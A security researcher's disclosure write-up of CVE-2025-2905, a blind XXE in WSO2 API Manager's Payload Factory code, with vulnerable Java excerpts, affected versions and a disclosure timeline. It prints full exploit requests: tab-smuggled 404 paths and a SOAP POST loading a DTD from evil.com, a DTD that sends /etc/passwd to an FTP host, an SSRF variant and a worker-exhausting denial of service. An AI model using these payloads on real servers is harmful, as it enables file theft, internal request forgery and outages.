WSO2 #1: 404 to arbitrary file read

CVE-2025-2905 is a blind XXE vulnerability in WSO2 API Manager and other WSO2 products dependent on WSO2-Synapse.

This is my series on vulnerabilities I discovered in WSO2 software in 2025:

  1. 404 to arbitrary file read
  2. The many ways to bypass authentication
  3. Server-side request forgery

CVE-2025-2905 is a blind XXE vulnerability in WSO2 API Manager and other WSO2 products dependent on WSO2-Synapse.

This is the first bug I found in WSO2 software. As you will see from posts in this series that follow this, it's hardly my most impactful find, but it was one of the more unexpected. That's mainly because of where it first showed up: a web server's default 404 response.


First, what is WSO2?

WSO2 makes enterprise web application software. They have many products, most of which share a common codebase.

This vulnerability impacts at least six WSO2 products. However, the subject of this post will be WSO2 API Manager, as this is where I first discovered the bug, and it happens to be one of WSO2's more popular products.

WSO2 API Manager

WSO2 API Manager is an API gateway and lifecycle management platform. It's sometimes compared to Kong or Apigee.

In API Manager, there are two main components: the management console and the API gateway. This vulnerability affects the gateway. On the gateway, WSO2 API Manager brings in HTTP requests and forwards them to backend API servers. Common web servers like nginx and Apache can of course do the same thing; however, WSO2 adds features like authentication, rate limiting, and, most importantly, a fancy point-and-click user interface for teams to deploy and manage their APIs, i.e., the management console.

WSO2 API Manager is built on top of Apache Synapse, a Java mediation framework and part of the Apache Axis2 ecosystem. However, WSO2 uses their own forks of these Apache dependencies, which introduces miscellaneous features used only by the WSO2 product family.

A WSO2 diagram explaining API Manager. I've erased components unrelated to the vulnerability (original here).

WSO2's very insecure 404 Not Found

In WSO2 API Manager, when you request a path that doesn't exist, you will receive a 404 response that looks like this:

<am:fault xmlns:am="http://wso2.org/apimanager">
    <am:code>404</am:code>
    <am:type>Status report</am:type>
    <am:message>Not Found</am:message>
    <am:description>The requested resource (/whatever) is not available.</am:description>
</am:fault>

The default 404 in WSO2 API Manager ≤ 2.0.0

This response is defined as a Synapse 'sequence' in the file synapse-configs/default/sequences/main.xml. Specifically, the format is described using a <payloadFactory> element:

<payloadFactory>
    <format>
        <am:fault xmlns:am="http://wso2.org/apimanager">
            <am:code>404</am:code>
            <am:type>Status report</am:type>
            <am:message>Not Found</am:message>
            <am:description>The requested resource (/$1) is not available.</am:description>
        </am:fault>
    </format>
    <args>
        <arg expression="$axis2:REST_URL_POSTFIX" />
    </args>
</payloadFactory>

main.xml

As you can see, <payloadFactory> is a basic template engine: it allows developers to specify the shape of a document and have the server fill in the blanks with dynamic data ('arguments'). In this case, the only argument ($1) is the request path; i.e., The requested resource (/$1) is not available becomes The requested resource (/whatever) is not available.

WSO2's Payload Factory mediator

In Synapse-speak, <payloadFactory> is called a 'mediator'. While WSO2's Synapse fork didn't introduce the Payload Factory mediator, WSO2 greatly expanded and rewrote much of it, including the logic that replaces $N with its respective value.

The Java file PayloadFactoryMediator.java is responsible for processing these templates. Let's walk through the relevant code, beginning at the mediate function:

private boolean mediate(MessageContext synCtx, String format) {
    if (!isDoingXml(synCtx) && !isDoingJson(synCtx)) {
        log.error("#mediate. Could not identify the payload format of the existing payload prior to mediate.");
        return false;
    }
    org.apache.axis2.context.MessageContext axis2MessageContext = ((Axis2MessageContext) synCtx).getAxis2MessageContext();
    StringBuffer result = new StringBuffer();
    StringBuffer resultCTX = new StringBuffer();
    regexTransformCTX(resultCTX, synCtx, format);
    replace(resultCTX.toString(),result, synCtx);
    // ...

Each time a <payloadFactory> is rendered, the mediate function is invoked

Here, the variable synCtx is carrying the template object, including the list of arguments. This is passed to the replace function, which, as the name suggests, begins the work of replacing $1 with its corresponding value.

private void replace(String format, StringBuffer result, MessageContext synCtx) {
    HashMap<String, String>[] argValues = getArgValues(synCtx);
    // ...

replace immediately calls getArgValues

At the top of the replace function, the first order of business is to grab the 'evaluated' values from the argument list (i.e., converting the $axis2:REST_URL_POSTFIX expression to its value) using this getArgValues function:

private HashMap<String, String>[] getArgValues(MessageContext synCtx) {
    HashMap<String, String>[] argValues = new HashMap[pathArgumentList.size()];
    HashMap<String, String> valueMap;
    String value = "";
    for (int i = 0; i < pathArgumentList.size(); ++i) {       /*ToDo use foreach*/
        Argument arg = pathArgumentList.get(i);
        if (arg.getValue() != null) {
            value = arg.getValue();
            if (!isXML(value)) {
                value = StringEscapeUtils.escapeXml(value);
            }
            value = Matcher.quoteReplacement(value);
        } else if (arg.getExpression() != null) {
            value = arg.getExpression().stringValueOf(synCtx);
            if (value != null) {
                // XML escape the result of an expression that produces a literal, if the target format
                // of the payload is XML.
                  if (!isXML(value) && !arg.getExpression().getPathType().equals(SynapsePath.JSON_PATH)
                          && XML_TYPE.equals(getType())) {
                      value = StringEscapeUtils.escapeXml(value);
                  }
    // ...

(If you're following along: in the case of the 404 template argument, arg.getValue() is null, so we fall into the else if { ... } block.)

This function iterates over the template argument list, evaluates each expression, and escapes the things that need to be escaped.

The code says that the expression ($axis2:REST_URL_POSTFIX) is first evaluated, with its resulting string (the request path excluding the first /) being assigned to the value variable.

If the string is not valid XML, then it needs to be escaped. For example, if the value for $axis2:REST_URL_POSTFIX was hello<world, then that string would need to be changed to hello&lt;world before being included in the rendered response; otherwise, the response document would break. However, if the value is already valid XML, then no escaping is needed. For example, the string <abc></abc> does not need to be escaped because it's already syntactically valid XML.

To determine whether the string needs to be escaped, the isXML function is called: a very short function returning true or false.

private boolean isXML(String value) {
    try {
        AXIOMUtil.stringToOM(value);
    } catch (XMLStreamException ignore) {
        // means not a xml
        return false;
    } catch (OMException ignore) {
        // means not a xml
        return false;
    }
    return true;
}

(AXIOMUtil refers to WSO2-Axiom, a fork of Apache Axiom, which is a library for parsing and dealing with XML.)

The isXML function attempts to parse the given string as if it were a standalone XML document by using the AXIOMUtil.stringToOM method. If there were no syntax errors thrown during that parsing process, then isXML returns true; otherwise – if there's an error – the function returns false, telling getArgValues that it needs to escape the value.

XML External Entity injection

This 'dumb code' (as described by its author) is vulnerable to a classic XML External Entity Injection or 'XXE' attack. It's dangerous because if an attacker can control the value string, they can feed anything they want to the XML parser. This allows them to include a malicious <!DOCTYPE> declaration: a special XML instruction to trigger the parser to load an external file – which is only allowed at the very beginning of an XML document. This can be used to arbitrarily siphon files from the server, among other things.

In the 404 template, the attacker controls value because it's simply the URL path – everything after the first /. If the requested path is /<!DOCTYPE blah SYSTEM "http://evil.com/evil.dtd"> , then the XML parser triggered by isXML will import http://evil.com/evil.dtd, an externally hosted DTD document with evil instructions (which we'll get to).

The injection is blind

This is a blind XXE vulnerability, meaning that the attacker can't see the value of any injected XML entities in its response. This is because the attacker's XML is actually injected twice: first in the isXML function as a standalone document as described, and later when the attacker's XML replaces $1 in the 404 response template.

Because of this, the HTTP response to a request exploiting this vulnerability will always be an error, as <!DOCTYPE> is not allowed in the position of $1 (as it can only appear at the top of an XML document).

Smuggling XML into the HTTP request path

Before you can actually inject the payload above (/<!DOCTYPE blah SYSTEM "http://evil.com/evil.dtd">), you need to make two changes to keep the path valid without inadvertently breaking the XML:

1. Tabs, not spaces

Whitespace is needed, however spaces and line feed characters aren't allowed in HTTP request paths, and a percent-encoded space (%20) won't be decoded before it hits the XML parser.

This leaves tabs as the only option:

/<!DOCTYPE\tblah\tSYSTEM\t"http://evil.com:8080/evil.dtd">

Simply replace all spaces with tabs. Common HTTP tools and libraries like curl won't stand for this nonsense (they'll percent-encode the tab for you), but you can craft and submit the request manually.

In most web servers, literal tabs aren't valid in the first line of an HTTP request, as the HTTP/1.1 spec explicitly forbids it.[1] However, the API Manager server is a little different; it's tolerant of these malformed requests.

2. Prefix the injected XML with http://whatever/

One more problem: when you request the above path, WSO2 API Manager will think that you are requesting just /evil.dtd">. It will ignore everything prior to that /.

This is because the server thinks that the path looks similar to an absolute URL, so it treats it as one and simply ignores everything before the purported URL's path. Anything prior to :// is mistaken as a URL scheme (i.e., the server thinks that <!DOCTYPE\tblah\tSYSTEM\t"http is a URL protocol).

You can get around this confusion by prefixing the path so that it is in the format of an absolute URL. Your 'real' path becomes a path inside a path:

/http://whatever/<!DOCTYPE\tblah\tSYSTEM\t"http://evil.com:8080/evil.dtd">

(You might be thinking that an easier choice is to replace http:// with //, however the implicit URL scheme is FTP, not HTTP.)


Exploiting the 404

The final HTTP payload:

GET /http://whatever/<!DOCTYPE\tblah\tSYSTEM\t"http://evil.com:8080/evil.dtd"> HTTP/1.1
Host: example.net

CVE-2025-2905 in API Manager ≤ 2.0.0

When you send a request in this format, the vulnerable API Manager server will reach out to your web server (i.e., http://evil.com:8080) to grab an external DTD XML document with additional instructions.

CVE-2025-2905 can be exploited for:

Data exfiltration

In Java, blind XXEs can be used to siphon files from the server, with caveats.

The following DTD document instructs the XML parser to upload its /etc/passwd via an FTP server:

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'ftp://evil.com/%file;'>">
%eval;
%exfiltrate;

Exfiltrating /etc/passwd

With this payload, the server would transfer its /etc/passwd file to the attacker's server as if the contents of /etc/passwd were an extraordinarily long path (e.g., ftp://evil.com/root:x:0:0:root:/root:/bin/bas[...]). The server will connect to evil.com on port 21 and begin sending the file piecemeal: sending 'change directory' (CWD) commands for each 'directory' (where the file contents contain a /), with a final RETR command for the remaining segment:

USER anonymous
PASS Java1.8.0_121@
TYPE I
EPSV ALL
EPSV
CWD root:x:0:0:root:
CWD root:
CWD bin
CWD bash

CWD daemon:x:1:1:daemon:
CWD usr
CWD sbin:
CWD usr
CWD sbin
[...]
RETR bash

The server sending its /etc/passwd to the attacker's FTP server in a series of commands. You'll need a custom phony FTP server that will reconstruct the file by stringing together all the pieces.

However, whether this is possible depends on the version of Java running alongside the vulnerable WSO2 API Manager. For environments that use the versions of Java that were available at the time of 2.0.0's release, attackers can read the full contents of most[2] files.

In modern Java, it's only possible to read the first line of files, to the best of my knowledge. This is due to changes in Java's URL parsing logic (line feeds become disallowed in URLs, as they should be).

Server-side request forgery (SSRF)

You can also 'read' HTTP resources in the same way that you can read files. You'd just replace the file:// scheme with http://, etc., which triggers the server to make a GET request for you and copy the response to your server (again, potentially limited to the first line depending on the environment).

<!ENTITY % file SYSTEM "http://localhost:8080/abcdef">
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'ftp://evil.com/%file;'>">
%eval;
%exfiltrate;

Telling WSO2 API Manager to fetch http://localhost:8080/abcdef and copy the response to the evil.com FTP server

If the server's Java version is very, very old, you can also use the gopher:// protocol to send customised TCP packets to any kind of networked service. This could be used to make a POST request, to send an email via SMTP, to execute a database query, or to blindly interface with any other TCP-based networked service accessible from the server, for example.

Denial of service

Finally, CVE-2025-2905 can also be used to effectively disable the server. If you tell WSO2 API Manager to read from a special device file such as /dev/stdout, then the XML parser will attempt to do so, waiting indefinitely for the file to end.

GET http://whatever/<!DOCTYPE\tblah\tSYSTEM\t'file:///dev/stdout'>
Host: example.net

(An external DTD file is not necessary for this abuse variant.)

Because the /dev/stdout file never ends, the worker handling that HTTP request becomes permanently occupied, and is taken out of the pool of workers available to process incoming HTTP requests.

After you make that same request 399 more times, the server will no longer be able to process any future HTTP requests, as WSO2 API Manager will only deploy a maximum of 400 workers. The only way to recover after such an attack is to manually restart the server.


The 404 was inadvertently fixed, but the bug remained

In WSO2 API Manager 2.1.0, the 404 page vulnerability was inadvertently fixed when the template was changed to no longer reflect the user's URL due to an low-impact cross-site scripting risk.[3] This change in 2016 removed the only exploit path known to me for WSO2 API Manager 2.x in its default configuration.

However, the vulnerable isXML function in WSO2-Synapse was not patched until years later, and the vulnerability survived in a different form until 2024.

Exploitation without the 404

Of course, the Payload Factory template engine was not built only for the 404 page: it's a building block that helps developers tailor WSO2 API Manager to their specific use case.

Without the vulnerable 404, exploitation of CVE-2025-2905 has a new precondition: there needs to be a <payloadFactory> somewhere that consumes an attacker-controlled value.

That isn't a rare scenario. The point of the Payload Factory mediator is to transform data, and most configurations use data provided by the user – whether it comes from the URL (e.g., from a query parameter), the request body (e.g., a value in a POST request), or it's pulled from something in a database (e.g., any field that a user can control), etc.

<payloadFactory>
    <format>
        <result>$1</result>
    </format>
    <args>
        <arg expression="//echo" />
    </args>
</payloadFactory>

This vulnerable example reflects a value provided in the request body (invoking isXML with an arbitrary attacker-supplied value)

WSO2 provides plenty of examples of <payloadFactory> uses in their developer documentation, with more examples inside release packages – and nearly all of them are vulnerable. A search of Stack Overflow and GitHub for real-world <payloadFactory> snippets confirms that it's more common than not for <payloadFactory> to be used in a very vulnerable way, consuming user-supplied data arbitrarily pre-authentication – which enables the XXE attack.

That being said, it's possible to configure WSO2 API Manager without making use of a custom Payload Factory mediator. In these cases, the servers are, to my knowledge, not exploitable.

Fortunately (or unfortunately), a new vulnerable <payloadFactory> was introduced in the default configuration of version 3.0.0, which I'll get to soon. To my knowledge, however, there is no vulnerable template in default 2.1.0–2.6.0, so exploitation relies on an administrator to have created one.

JSON templates aren't safer

The Payload Factory mediator can be used to transform JSON documents in addition to XML. However, even when JSON is used instead of XML, the isXML function is still called on all values.

<payloadFactory> has a media-type attribute that allows you to specify the output type (i.e., JSON or XML), and also an escapeXmlChars which does what the name implies, however these make no difference.

For example, this configuration is vulnerable to XXE even though the content is very explicitly not XML:

<sequence>
    <payloadFactory escapeXmlChars="true" media-type="json">
        <format>{"echo":"$1"}</format>
        <args>
            <arg expression="$.echo" />
        </args>
    </payloadFactory>
    <property name="messageType" value="application/json" scope="axis2" />
    <property name="ContentType" value="application/json" scope="axis2" />
    <respond />
</sequence>

In this example, you can use a request body {"echo":"<!DOCTYPE ...>"} to cause the server to parse arbitrary XML. The JSON type and escapeXmlChars won't save you.


A new exploit path appears in API Manager 3.0.0

In WSO2 API Manager 3.0.0, a new <payloadFactory> was introduced, with classically vulnerable code. It's found in the configuration file WorkflowCallbackService.xml.

The template here transforms an XML request into JSON. It takes a POST request with an XML document containing <status> and <description> values, and forwards that request to a backend service in the format of { "status": "...", "description": "..." }:

<payloadFactory media-type="json">
    <format>
        {
        "status":"$1",
        "description":"$2"
        }
    </format>
    <args>
        <arg evaluator="xml" expression="$body//p:resumeEvent/ns:status" />
        <arg evaluator="xml" expression="$body//p:resumeEvent/ns:description" />
    </args>
</payloadFactory>

WorkflowCallbackService.xml (slightly simplified by me for readability)

The vulnerability is the same: any value provided for status or description is sent to isXML and once again parsed dangerously as a standalone XML document with <!DOCTYPE> allowed.

This enables a new, universal exploit path for WSO2 API Manager installations in their default configuration. It's triggered with a simple POST request to /services/WorkflowCallbackService:

POST /services/WorkflowCallbackService HTTP/1.1
Host: example.net
SOAPAction: "urn:resumeEvent"
Content-Type: text/xml

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
                  xmlns:ns="http://callback.workflow.apimgt.carbon.wso2.org">
  <soapenv:Header/>
  <soapenv:Body>
    <ns:resumeEvent>
      <ns:workflowReference></ns:workflowReference>
      <ns:status>APPROVED</ns:status>
      <ns:description>
        <![CDATA[<!DOCTYPE blah SYSTEM "http://evil.com:8080/evil.dtd">]]>
      </ns:description>
    </ns:resumeEvent>
  </soapenv:Body>
</soapenv:Envelope>

(It's necessary to wrap the malicious payload inside <![CDATA as the declaration is otherwise not allowed here, and the server would reject the request.)

Fixed in 3.1.0, only to return in 4.0.0

Weirdly enough, this XXE bug was fixed in 3.1.0, perhaps inadvertently, but it made its way back into the codebase in 4.0.0. I'm not entirely sure what happened during this timeframe.

WSO2 reports that the vulnerability was fixed for good in 4.3.0.


List of vulnerable WSO2 products

Product Versions Vulnerable Exploitable in default config
WSO2 API Manager ≤ 2.0.0,
3.0.0,
4.0.0,
4.2.0
WSO2 API Manager 2.1.0–2.6.0,
4.1.0
WSO2 Micro Integrator ≤ 1.2.0,
4.0.0–4.2.0
WSO2 Enterprise Integrator ≤ 6.6.0
WSO2 Enterprise Service Bus ≤ 5.0.0
WSO2 App Manager All
WSO2 IoT Server All

Notes

[1] Section 3.2 of RFC 9112.

[2] Reading binary stuff, or files with contents that otherwise confuse the XML parser, might cause an error. However, the majority of sensitive file types can be read, including /etc/passwd, SSH private keys, miscellaneous configuration files, etc.

[3] The potential XSS vulnerability is not obvious to me. I know that there are ways to execute JavaScript within XML (e.g., by abusing namespaces), however since all browsers will percent-encode spaces, < and > characters, and tabs, I don't see how this is exploitable.


Disclosure

  • 2025-02-10: Report sent to WSO2.
  • 2025-02-27: WSO2 mislabels the vulnerability as requiring admin privileges; downgrades severity. I suggest that perhaps they've confused this with a different vulnerability.
  • 2025-03-11: WSO2 responds and corrects the severity.
  • 2025-05-05: WSO2 publishes CVE-2025-2905. They remind me that I'm not eligible for their Reward and Acknowledgement Program (a $50 gift voucher) because the discovery is outside the program's scope.
  • 2025-05-26: I discover and notify WSO2 about the new exploit in API Manager 3.0.0.
  • 2025-06-11 to 2025-08-18: A number of follow-ups.
  • 2025-08-19: WSO2 lets me know that they're finalising the updated CVE.
  • 2025-08-19: Notified WSO2 about the re-introduction of the vulnerability in API Manager 4.0.0.
  • 2025-09-04: WSO2 says they've privately notified their paying users.
  • 2025-10-17: WSO2 publishes revised advisory.